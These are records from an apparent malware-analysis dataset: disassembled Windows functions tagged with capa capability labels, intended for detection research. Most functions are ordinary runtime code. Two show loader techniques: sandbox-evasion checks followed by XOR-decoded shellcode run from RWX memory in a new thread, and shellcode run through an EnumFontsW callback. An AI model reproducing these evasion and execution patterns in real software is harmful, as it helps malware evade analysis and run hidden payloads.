joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140076740
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x1400765e0
call fcn.14006a320
mov dword [rax], 0x16
call fcn.14006749c
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x1400765c8
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x1400765c8
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x140076612
lock or dword [rax + 0x14], 0x10
jmp 0x1400765c8
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14007662f
mov rcx, qword [rbp + 0x10]
call fcn.140076934
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14006a240
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.140076018
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x140076686
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x1400765c8
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x1400766f2
mov rcx, qword [rbp + 0x10]
call fcn.14006a240
cmp eax, 0xffffffff
je 0x1400766d9
mov rcx, qword [rbp + 0x10]
call fcn.14006a240
cmp eax, 0xfffffffe
je 0x1400766d9
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14006a240
movsxd rdi, eax
lea rsi, [0x1400a14e0]
mov rcx, rbx
sar rdi, 6
call fcn.14006a240
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x1400766e0
lea rax, [0x14009d2c0]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x1400766f2
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x140076728
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x140076724
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x140076724
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x1400765cb
jmp 0x140076598
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x140014008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x140014008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x140014008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140014008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Get memory capacity
Get system information on windows
Spawn thread to rwx shellcode

Disassembly:
push rbx
sub rsp, 0x3a0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x390], rax
mov ecx, 0x409
call qword [sym.imp.KERNEL32.dll_SetThreadLocale]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
lea r8, [rsp + 0x17c]
mov edx, 0x80
lea rcx, [rsp + 0x280]
sub r8, rcx
lea rax, [rsp + 0x280]
lea rcx, [rdx + 0x7fffff7e]
test rcx, rcx
je 0x140001077
movzx ecx, word [r8 + rax]
test cx, cx
je 0x140001077
mov word [rax], cx
add rax, 2
sub rdx, 1
jne 0x140001054
test rdx, rdx
lea rcx, [rax - 2]
cmovne rcx, rax
xor ebx, ebx
mov word [rcx], bx
lea rcx, [rsp + 0x280]
call qword [sym.imp.USER32.dll_CharUpperW]
lea rdx, [0x140003470]
lea rcx, [rsp + 0x280]
call qword [sym.imp.VCRUNTIME140.dll_wcsstr]
test rax, rax
je 0x1400011ea
lea rcx, [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rsp + 0xc0], 2
jb 0x1400011ea
lea rcx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
shr rax, 0x14
cmp eax, 0x800
jb 0x1400011ea
mov qword [rsp + 0x30], rbx
lea rcx, str..PhysicalDrive0
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor edx, edx
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x38], rbx
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x30], rcx
xor r9d, r9d
lea rcx, [rsp + 0x48]
mov dword [rsp + 0x28], 0x18
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rcx, rax
mov edx, 0x70000
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov ecx, dword [rsp + 0x58]
mov eax, dword [rsp + 0x5c]
imul rax, rcx
mov ecx, dword [rsp + 0x54]
imul rax, rcx
imul rax, qword [rsp + 0x48]
cqo
and edx, 0x3fffffff
add rax, rdx
sar rax, 0x1e
cmp eax, 0x64
jb 0x1400011ea
mov edx, 1
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rcx, [0x1400032a0]
movzx ecx, cl
movzx edx, byte [rcx]
mov rcx, rax
mov byte [rax], dl
mov edx, ebx
nop
xor byte [rcx], 0x35
lea rcx, [rcx + 1]
inc edx
cmp edx, 1
jb 0x1400011b0
lea rcx, [rsp + 0x44]
xor r9d, r9d
mov qword [rsp + 0x28], rcx
mov r8, rax
xor ecx, ecx
mov dword [rsp + 0x20], ebx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rcx, qword [rsp + 0x390]
xor rcx, rsp
call fcn.140001220
add rsp, 0x3a0
pop rbx
ret

Function at 0x140001ae8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001b32
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001b32
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001b32
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001b32
cmp dword [rcx + 0x84], 0xe
jbe 0x140001b32
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001b34
xor al, al
add rsp, 0x28
ret
Function at 0x140003b20
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x88
mov rax, qword [0x14173a0a0]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
lea rax, [rcx + rax - 0x10]
mov r8d, 0x10
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140005f60
nop
mov eax, dword [rsp + 0xa8]
sub eax, 0x10
mov eax, eax
mov qword [rsp + 0x28], rax
mov edx, 0x18
lea rcx, [rsp + 0x40]
call fcn.140003c70
lea rcx, [rsp + 0x20]
call fcn.1400060f0
mov r8, rax
mov rdx, qword [rsp + 0x28]
lea rcx, [rsp + 0x40]
call fcn.140004230
nop
lea rcx, [rsp + 0x40]
call fcn.1400041f0
mov rdi, rax
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x28]
rep movsb byte [rdi], byte [rsi]
lea rcx, [rsp + 0x40]
call fcn.1400041f0
lea r8, [rsp + 0x58]
mov rdx, qword [rsp + 0x28]
mov rcx, rax
call fcn.140003a80
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rsp + 0x28]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x30], rax
lea rcx, [rsp + 0x40]
call fcn.1400041f0
mov rdi, qword [rsp + 0x30]
mov rsi, rax
mov rcx, qword [rsp + 0x28]
rep movsb byte [rdi], byte [rsi]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov r8, qword [rsp + 0x30]
xor edx, edx
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.GDI32.dll_EnumFontsW]
nop
lea rcx, [rsp + 0x40]
call fcn.140004210
nop
lea rcx, [rsp + 0x58]
call fcn.140005e40
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14003c070
add rsp, 0x88
pop rdi
pop rsi
ret
Function at 0x140003d10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub rsp, 0x178
mov rax, qword [0x14173a0a0]
xor rax, rsp
mov qword [rsp + 0x160], rax
lea rdx, [0x1400b2be8]
lea rcx, [rsp + 0x98]
call fcn.140005c90
nop
lea rdx, [0x1400b2bdc]
lea rcx, [rsp + 0xc0]
call fcn.140005c90
nop
lea rdx, [0x1400b2c20]
lea rcx, [rsp + 0xe0]
call fcn.140005c90
nop
lea rdx, [0x1400b2c2c]
lea rcx, [rsp + 0x100]
call fcn.140005c90
nop
lea rdx, [0x1400b2c38]
lea rcx, [rsp + 0x120]
call fcn.140005c90
nop
lea rdx, [0x1400b2c44]
lea rcx, [rsp + 0x140]
call fcn.140005c90
nop
lea rdx, [0x1400b2c50]
lea rcx, [rsp + 0x78]
call fcn.140005c90
nop
mov dword [rsp + 0x24], 0
jmp 0x140003dcd
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
movsxd rax, dword [rsp + 0x24]
cmp rax, 5
jae 0x140003ea6
movsxd rax, dword [rsp + 0x24]
imul rax, rax, 0x20
lea rax, [rsp + rax + 0xc0]
mov r8, rax
lea rdx, [rsp + 0x98]
lea rcx, [rsp + 0x38]
call fcn.140009090
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x78]
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x58]
call fcn.140009180
nop
lea rcx, [rsp + 0x38]
call fcn.140005c00
lea rcx, [rsp + 0x58]
call fcn.140005be0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003e97
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x58]
call fcn.140005c00
nop
lea rcx, [rsp + 0x78]
call fcn.140005c00
nop
lea r9, [fcn.140005c00]
mov r8d, 5
mov edx, 0x20
lea rcx, [rsp + 0xc0]
call fcn.14003c0d4
nop
lea rcx, [rsp + 0x98]
call fcn.140005c00
movzx eax, byte [rsp + 0x20]
jmp 0x140003ee8
lea rcx, [rsp + 0x58]
call fcn.140005c00
jmp 0x140003dc3
mov byte [rsp + 0x21], 0
lea rcx, [rsp + 0x78]
call fcn.140005c00
nop
lea r9, [fcn.140005c00]
mov r8d, 5
mov edx, 0x20
lea rcx, [rsp + 0xc0]
call fcn.14003c0d4
nop
lea rcx, [rsp + 0x98]
call fcn.140005c00
movzx eax, byte [rsp + 0x21]
mov rcx, qword [rsp + 0x160]
xor rcx, rsp
call fcn.14003c070
add rsp, 0x178
ret
Function at 0x140004080
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x288
mov rax, qword [0x14173a0a0]
xor rax, rsp
mov qword [rsp + 0x270], rax
call fcn.140003f00
movzx eax, al
test eax, eax
je 0x1400041c7
call fcn.140003570
mov qword [rsp + 0x28], rax
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x40], 0
lea r9, [rsp + 0x40]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400a1240]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov r8d, 0x104
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x160]
call fcn.140065964
lea r8, [rsp + 0x160]
lea rdx, [0x1400b2d30]
lea rcx, [rsp + 0x50]
call fcn.1400091e0
lea rdx, [rsp + 0x50]
mov rcx, qword [rsp + 0x28]
call fcn.140003210
movzx eax, al
test eax, eax
je 0x1400041c7
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x48], 0
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x50]
call fcn.140003430
movzx eax, al
test eax, eax
je 0x1400041c7
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
call fcn.140003b20
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x20]
call fcn.14003c090
cmp qword [rsp + 0x20], 0
jne 0x1400041b4
mov qword [rsp + 0x30], 0
jmp 0x1400041c7
mov qword [rsp + 0x38], 0x8123
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x30], rax
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14003c070
add rsp, 0x288
ret
Function at 0x140004700
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [0x14173a0a0]
xor rax, rsp
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x80], 0
jg 0x140004734
xor eax, eax
jmp 0x1400048e0
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x68], 0
je 0x14000475c
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call fcn.1400054a0
jmp 0x1400048e0
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x70]
call fcn.140006e80
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x1400047f8
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x40]
call fcn.140004900
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x70]
call fcn.140007040
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x78]
call fcn.1400081b0
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call fcn.140006fa0
mov rax, qword [rsp + 0x70]
cmp qword [rax + 0x80], 0
je 0x1400048d0
mov rcx, qword [rsp + 0x70]
call fcn.140006830
mov qword [rsp + 0x38], 0xfff
cmp qword [rsp + 0x40], 0xfff
jbe 0x140004898
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.1400663a8
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x28], 0xfff
je 0x140004896
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x1400048e0
jmp 0x14000481e
cmp qword [rsp + 0x40], 0
jbe 0x1400048d0
mov rax, qword [rsp + 0x70]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x78]
call fcn.1400663a8
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14003c070
add rsp, 0x68
ret
Function at 0x1400068e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov rax, qword [0x14173a0a0]
xor rax, rsp
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0xa0]
cmp qword [rax + 0x68], 0
je 0x14000691d
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140006924
mov al, 1
jmp 0x140006a6c
call fcn.1400080c0
mov rcx, qword [rsp + 0xa0]
mov rcx, qword [rcx]
mov qword [rsp + 0x48], rcx
mov edx, eax
mov rcx, qword [rsp + 0xa0]
mov rax, qword [rsp + 0x48]
call qword [rax + 0x18]
mov dword [rsp + 0x38], eax
call fcn.1400080c0
mov dword [rsp + 0x3c], eax
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x3c]
call fcn.140008120
movzx eax, al
test eax, eax
je 0x140006975
xor al, al
jmp 0x140006a6c
mov qword [rsp + 0x50], 0x20
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0xa0]
add rcx, 0x74
lea rdx, [rsp + 0x58]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x60]
mov rdx, rcx
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rax + 0x68]
call fcn.1400082f0
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x1400069da
cmp dword [rsp + 0x30], 1
je 0x1400069e6
cmp dword [rsp + 0x30], 3
je 0x140006a5a
jmp 0x140006a6a
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jbe 0x140006a31
mov rax, qword [rsp + 0xa0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x40]
mov edx, 1
lea rcx, [rsp + 0x60]
call fcn.140065c44
cmp qword [rsp + 0x40], rax
je 0x140006a31
xor al, al
jmp 0x140006a6c
mov rax, qword [rsp + 0xa0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140006a4b
mov dword [rsp + 0x34], 1
jmp 0x140006a53
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x140006a6c
mov rax, qword [rsp + 0xa0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140006a6c
xor al, al
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14003c070
add rsp, 0x98
ret

Function at 0x14002fdc8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140015be6
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140015bc9
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140015bb4

Function at 0x14002fddc
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x140015c1e
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140015c01
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140015bec

Function at 0x14007956c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400792f4
Function at 0x180008ec0
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x20
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x180008ee4
xor eax, eax
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x50], rdi
je 0x180008f72
mov rdi, r15
mov qword [rsp + 0x40], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x180008f40
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x180008f40
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.18006a190
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x180008f5d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x180008f65
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x180008f01
mov rbp, qword [rsp + 0x40]
sub r15, rdi
jmp 0x180009050
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x180008f89
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180008f8b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x180008fbd
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.18006a190
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x18000904d
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x180008ff8
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x18000902e
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.180053c64
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x18000904d
cmp rsi, rax
ja 0x180009001
test rsi, rsi
je 0x18000904d
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.180053c64
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x48]
mov rax, r15
mov rdi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop rbx
ret
Function at 0x18004f950
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x18004f987
call fcn.1800545c8
mov dword [rax], 0x16
call fcn.180054454
xor eax, eax
jmp 0x18004fa15
mov rdx, r9
mov rcx, r8
call fcn.18004f8ec
mov rbx, rax
test rax, rax
je 0x18004fa12
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x18004f818]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x18004f9ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.18005453c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x18004f9e6
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x18004f9f5
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.18005a4d4
jmp 0x18004fa12
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x18004fa0f
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1800562e0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x18005634f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x18005634f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x18005634f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x18005634f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x18005634f
cmp dword [rcx + 0x84], 0xe
jbe 0x18005634f
cmp dword [rcx + 0xf8], 0
je 0x18005634f
mov ecx, ebx
call fcn.180056400
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1800561dc
nop
cmp dword [rbp + 0x20], 0
je 0x18005639d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1800563a8
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x1800562e0
Function at 0x18005731c
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x180057332
mov al, 1
jmp 0x180057392
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x180057343
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x180057390
mov ecx, dword [rcx + 0x18]
nop
call fcn.180062358
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180057390
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x180057390
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x180057390
mov rax, qword [rsp + 0x30]
